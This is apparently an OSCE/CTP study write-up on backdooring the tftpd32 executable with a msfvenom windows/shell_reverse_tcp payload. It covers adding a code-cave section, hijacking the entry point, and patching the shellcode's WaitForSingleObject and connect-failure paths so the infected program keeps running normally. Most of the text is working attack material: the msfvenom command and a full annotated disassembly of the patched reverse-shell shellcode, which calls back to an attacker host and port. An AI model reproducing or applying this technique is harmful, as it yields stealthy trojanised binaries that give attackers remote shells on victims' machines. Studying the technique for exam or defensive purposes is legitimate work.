Abstract
This is a document explaining how to locate WaitForSingleObject(..., INFINITE)
within msfvenom's generated payload and how to fix the payload's glitches. It goes through the analysis of a windows/shell_reverse_tcp payload, touching issues like stack alignment, WaitForSingleObject locating & patching. It has been written when I realised there are many topics on the Offensive-Security OSCE/CTP forums touching problem of finding this particular Windows API. Since RE is one of my stronger FU's I decided to write down my explanation of the subject.
Contents:
- Generating a proper payload
- Preparing target executable.
- Embedding msfvenom payload to the code cave
- Explaining what the payload is all about
- Patching the Payload to make it work as needed
- Final payload with comments + hex string
Firstly, we are about to generate proper payload using msfvenom. The EXITFUNC=seh option was used.
The payload selected here will be windows/shell_reverse_tcp.
Here's the proper msfvenom invocation:
msfvenom -p windows/shell_reverse_tcp exitfunc=seh LHOST=XXX.XXX.XXX.XXX LPORT=XXXX -f hex
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 324 bytes
Final size of hex file: 648 bytes
We then take this payload and copy it into clipboard.
I've added a new section to the original executable:
.NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0
From now on I assume my code cave starts at 0x446000 (that is: ImageBase + VOffset ).
At the end of the day, we need to have our code cave follow such layout:
PUSHAD
PUSHFD
- MSFVENOM PAYLOAD
POPFD
POPAD
CALL 0041B7DE
- this was the first instruction we overwrote at the entry point (0x0041135E)JMP 00411363
- jump to the location that was immediately after our entry point.ADD ESP, 0x1A4
- Stack alignment, when payload couldn't connectJMP 0044614C
- that is, jump toPOPFD
(item 4) so program can be executed normally
Here's the explanation of the windows/shell_reverse_tcp payload in particular.
ResolveImport(DWORD dwFunctionNameHash, DWORD dwLibraryNameHash, ...);
This is a function, located at the 0x00446060 (always this address will get passed via EBP register) that takes in a first argument a function name hash, then resolves it and calls with having supplied additional parameters passed originally to that routine:
; Function start
00446008 60 pushad ; ResolveImport(dwHash, ...);
00446009 89E5 mov ebp, esp
0044600B 31C0 xor eax, eax
0044600D 64 8B 50 30 mov edx, dword ptr fs:[eax+30]
...
0044607F 5A pop edx
00446080 51 push ecx
00446081 - FFE0 jmp eax ; Call resolved import with supplied params
; Function end
That last JMP eax
does actual function (import) call with supplied parameters, then it returns to the point where the ResolveImport
function was called from, for instance:
0044608B 68 33320000 push 3233
00446090 68 7773325F push 5F327377
00446095 54 push esp
00446096 68 4C772607 push 726774C
0044609B FFD5 call ebp ; ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
0044609D B8 90010000 mov eax, 190
Here's the code flow: 0x0044609B invokes the ResolveImport("kernel32.dll", "LoadLibrary", "ws2_32.dll");
function, that yields handle to the loaded ws2_32.dll DLL - the one responsible for internetwork communication API. Then, from the 00446081 JMP within ResolveImport
- the payload will return to the 0x0044609D and take this up from that point on.
Having discussed how system imports are being invoked - here's the list of the APIs that get called:
LoadLibrary("ws2_32.dll")
WSAStartup(...)
WSASocketA(...)
connect(...)
- If connect succeeds:
CreateProcess("cmd", ...)
- If connect succeeds:
WaitForSingleObject(..., INFINITE)
A) Modifying the -1 (INFINITE) to 0 wait parameter.
Take a look at the below snippet:
00446112 68 79CC3F86 push 863FCC79
00446117 FFD5 call ebp ; CreateProcess(cmd)
00446119 89E0 mov eax, esp
0044611B 4E dec esi
0044611C 56 push esi
0044611D 46 inc esi
0044611E FF30 push dword ptr ds:[eax]
00446120 68 08871D60 push 601D8708
00446125 FFD5 call ebp ; WaitForSingleObject(..., INFINITE)
00446127 BB FE0E32EA mov ebx, EA320EFE
This is the place where after creating a CMD process the payload goes into awaiting for the process to exit. When this happens, the payload may proceed to it's EXITFUNC.
Notice the most important sequence:
0044611B 4E dec esi
0044611C 56 push esi
0044611D 46 inc esi
This is the very place where the ESI which originally was 0x00000000 gets decremented resulting in -1 (0xffffffff). In order to prevent having -1 we've got to NOP out that dec esi
instruction and the inc psi
instruction:
0044611B 90 nop ; PATCHED
0044611C 56 push esi
0044611D 90 nop ; PATCHED
B) The final patch that shall be applied is what happens when the payload fails connecting with our Kali/Backtrack machine. Originally it would go as far as:
004460D8 74 0C je short tftpd32-.004460E6
004460DA FF4E 08 dec dword ptr ds:[esi+8]
004460DD ^ 75 EC jnz short tftpd32-.004460CB
004460DF 68 F0B5A256 push 56A2B5F0
004460E4 FFD5 call ebp ; Probably ExitProcess
004460E6 68 636D6400 push 646D63
004460EB 89E3 mov ebx, esp
This JE (0x004460D8) check would fail, resulting in decrementing tryAgain counter and when that counter hits a zero - the JNZ doesn't kick in, leading the payload straight to the ExitProcess
which results in terminating our infected binary. No TFTPD window, sorry.
To remedy premature binary termination, the instruction at 0x004460DF was modified to allow us to make use of the empty space we have at the end of the PE file (specifically from 0x00446158) onwards.
004460D8 74 0C je short tftpd32-.004460E6
004460DA FF4E 08 dec dword ptr ds:[esi+8]
004460DD ^ 75 EC jnz short tftpd32-.004460CB
004460DF EB 77 jmp short tftpd32_.00446158 ; jump to free space at end of PE file
004460E1 90 nop
004460E2 90 nop
004460E3 90 nop
004460E4 FFD5 call ebp ; Probably ExitProcess
004460E6 68 636D6400 push 646D63
004460EB 89E3 mov ebx, esp
Then, at 0x00446158, we have to do stack alignment. The ESP value is currently 0012FDDC. Prior to entering our shell code (immediately after PUSHFD
), the ESP value was 0012FF80. Hence, we need to add esp, 0x1a4
to correct this. Thereafter, we'll have to resume normal execution of our program by doing a JMP 0044614C
.
00446000 60 PUSHAD
00446001 9C PUSHFD
00446002 FC CLD
00446003 E8 82000000 CALL tftpd32_.0044608A
00446008 60 PUSHAD
00446009 89E5 MOV EBP,ESP
0044600B 31C0 XOR EAX,EAX
0044600D 64:8B50 30 MOV EDX,DWORD PTR FS:[EAX+30]
00446011 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
00446014 8B52 14 MOV EDX,DWORD PTR DS:[EDX+14]
00446017 8B72 28 MOV ESI,DWORD PTR DS:[EDX+28]
0044601A 0FB74A 26 MOVZX ECX,WORD PTR DS:[EDX+26]
0044601E 31FF XOR EDI,EDI
00446020 AC LODS BYTE PTR DS:[ESI]
00446021 3C 61 CMP AL,61
00446023 7C 02 JL SHORT tftpd32_.00446027
00446025 2C 20 SUB AL,20
00446027 C1CF 0D ROR EDI,0D
0044602A 01C7 ADD EDI,EAX
0044602C ^E2 F2 LOOPD SHORT tftpd32_.00446020
0044602E 52 PUSH EDX
0044602F 57 PUSH EDI
00446030 8B52 10 MOV EDX,DWORD PTR DS:[EDX+10]
00446033 8B4A 3C MOV ECX,DWORD PTR DS:[EDX+3C]
00446036 8B4C11 78 MOV ECX,DWORD PTR DS:[ECX+EDX+78]
0044603A E3 48 JECXZ SHORT tftpd32_.00446084
0044603C 01D1 ADD ECX,EDX
0044603E 51 PUSH ECX
0044603F 8B59 20 MOV EBX,DWORD PTR DS:[ECX+20]
00446042 01D3 ADD EBX,EDX
00446044 8B49 18 MOV ECX,DWORD PTR DS:[ECX+18]
00446047 E3 3A JECXZ SHORT tftpd32_.00446083
00446049 49 DEC ECX
0044604A 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4]
0044604D 01D6 ADD ESI,EDX
0044604F 31FF XOR EDI,EDI
00446051 AC LODS BYTE PTR DS:[ESI]
00446052 C1CF 0D ROR EDI,0D
00446055 01C7 ADD EDI,EAX
00446057 38E0 CMP AL,AH
00446059 ^75 F6 JNZ SHORT tftpd32_.00446051
0044605B 037D F8 ADD EDI,DWORD PTR SS:[EBP-8]
0044605E 3B7D 24 CMP EDI,DWORD PTR SS:[EBP+24]
00446061 ^75 E4 JNZ SHORT tftpd32_.00446047
00446063 58 POP EAX
00446064 8B58 24 MOV EBX,DWORD PTR DS:[EAX+24]
00446067 01D3 ADD EBX,EDX
00446069 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2]
0044606D 8B58 1C MOV EBX,DWORD PTR DS:[EAX+1C]
00446070 01D3 ADD EBX,EDX
00446072 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4]
00446075 01D0 ADD EAX,EDX
00446077 894424 24 MOV DWORD PTR SS:[ESP+24],EAX
0044607B 5B POP EBX
0044607C 5B POP EBX
0044607D 61 POPAD
0044607E 59 POP ECX
0044607F 5A POP EDX
00446080 51 PUSH ECX
00446081 FFE0 JMP EAX
00446083 5F POP EDI
00446084 5F POP EDI
00446085 5A POP EDX
00446086 8B12 MOV EDX,DWORD PTR DS:[EDX]
00446088 ^EB 8D JMP SHORT tftpd32_.00446017
0044608A 5D POP EBP
0044608B 68 33320000 PUSH 3233
00446090 68 7773325F PUSH 5F327377
00446095 54 PUSH ESP
00446096 68 4C772607 PUSH 726774C
0044609B FFD5 CALL EBP
0044609D B8 90010000 MOV EAX,190
004460A2 29C4 SUB ESP,EAX
004460A4 54 PUSH ESP
004460A5 50 PUSH EAX
004460A6 68 29806B00 PUSH 6B8029
004460AB FFD5 CALL EBP
004460AD 50 PUSH EAX
004460AE 50 PUSH EAX
004460AF 50 PUSH EAX
004460B0 50 PUSH EAX
004460B1 40 INC EAX
004460B2 50 PUSH EAX
004460B3 40 INC EAX
004460B4 50 PUSH EAX
004460B5 68 EA0FDFE0 PUSH E0DF0FEA
004460BA FFD5 CALL EBP
004460BC 97 XCHG EAX,EDI
004460BD 6A 05 PUSH 5
004460BF 68 ________ PUSH ________ ;LHOST
004460C4 68 ________ PUSH ________ ;LPORT
004460C9 89E6 MOV ESI,ESP
004460CB 6A 10 PUSH 10
004460CD 56 PUSH ESI
004460CE 57 PUSH EDI
004460CF 68 99A57461 PUSH 6174A599
004460D4 FFD5 CALL EBP
004460D6 85C0 TEST EAX,EAX
004460D8 74 0C JE SHORT tftpd32_.004460E6
004460DA FF4E 08 DEC DWORD PTR DS:[ESI+8]
004460DD ^75 EC JNZ SHORT tftpd32_.004460CB
004460DF EB 77 JMP SHORT tftpd32_.00446158
004460E1 90 NOP
004460E2 90 NOP
004460E3 90 NOP
004460E4 FFD5 CALL EBP
004460E6 68 636D6400 PUSH 646D63
004460EB 89E3 MOV EBX,ESP
004460ED 57 PUSH EDI
004460EE 57 PUSH EDI
004460EF 57 PUSH EDI
004460F0 31F6 XOR ESI,ESI
004460F2 6A 12 PUSH 12
004460F4 59 POP ECX
004460F5 56 PUSH ESI
004460F6 ^E2 FD LOOPD SHORT tftpd32_.004460F5
004460F8 66:C74424 3C 01>MOV WORD PTR SS:[ESP+3C],101
004460FF 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
00446103 C600 44 MOV BYTE PTR DS:[EAX],44
00446106 54 PUSH ESP
00446107 50 PUSH EAX
00446108 56 PUSH ESI
00446109 56 PUSH ESI
0044610A 56 PUSH ESI
0044610B 46 INC ESI
0044610C 56 PUSH ESI
0044610D 4E DEC ESI
0044610E 56 PUSH ESI
0044610F 56 PUSH ESI
00446110 53 PUSH EBX
00446111 56 PUSH ESI
00446112 68 79CC3F86 PUSH 863FCC79
00446117 FFD5 CALL EBP
00446119 89E0 MOV EAX,ESP
0044611B 90 NOP
0044611C 56 PUSH ESI
0044611D 90 NOP
0044611E FF30 PUSH DWORD PTR DS:[EAX]
00446120 68 08871D60 PUSH 601D8708
00446125 FFD5 CALL EBP
00446127 BB FE0E32EA MOV EBX,EA320EFE
0044612C 68 A695BD9D PUSH 9DBD95A6
00446131 FFD5 CALL EBP
00446133 3C 06 CMP AL,6
00446135 7C 0A JL SHORT tftpd32_.00446141
00446137 80FB E0 CMP BL,0E0
0044613A 75 05 JNZ SHORT tftpd32_.00446141
0044613C BB 4713726F MOV EBX,6F721347
00446141 6A 00 PUSH 0
00446143 53 PUSH EBX
00446144 FFD5 CALL EBP
00446146 81C4 FC010000 ADD ESP,1FC
0044614C 9D POPFD
0044614D 61 POPAD
0044614E E8 8B56FDFF CALL tftpd32_.0041B7DE
00446153 -E9 0BB2FCFF JMP tftpd32_.00411363
00446158 81C4 A4010000 ADD ESP,1A4
0044615E ^EB EC JMP SHORT tftpd32_.0044614C